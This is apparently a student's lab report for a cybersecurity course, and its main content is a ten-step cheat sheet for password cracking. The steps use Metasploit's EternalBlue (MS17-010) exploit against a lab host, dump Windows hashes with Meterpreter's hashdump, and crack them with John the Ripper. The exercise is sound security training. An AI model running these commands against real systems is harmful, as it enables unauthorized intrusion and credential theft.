**CYBR 430**

**Abby Gopal**

**Week # 7 LAB**

**Cracking Passwords**

**Paste a screen dump of your options screen showing RHOST and LHOST values.**

A screenshot of a computer

Description automatically generated

**Provide a screenshot of the usernames and passwords you found.**

**A computer screen with text on it

Description automatically generated**

**Write a short checklist of the steps you used during this lab to retrieve and crack passwords. Write it as a cheat sheet you could use on a future pentest.**

Cheat Sheet:

1. **Launch Metasploit**
2. **Search for Exploit**: **search MS17-010**
3. **Load Exploit**: **use exploit/windows/smb/ms17\_010\_eternalblue**
4. **Choose Payload**: **show payloads**, **set payload <chosen payload>**
5. **Set Payload Options**: **show options**, **set RHOST <10.19.99.109>**
6. **Launch Attack**: **exploit**
7. **Access Meterpreter Shell**: Upon successful exploit, use **hashdump** to dump credentials.
8. **Copy and Save Hashes**: Copy hashes, create a file with Mousepad, paste hashes, save, and close.
9. **Quit Metasploit and Meterpreter**: **quit** (twice)
10. **Crack Passwords with John**: **john hashes.txt --format=nt**

Additional Screen shots:

A computer screen shot of a computer

Description automatically generated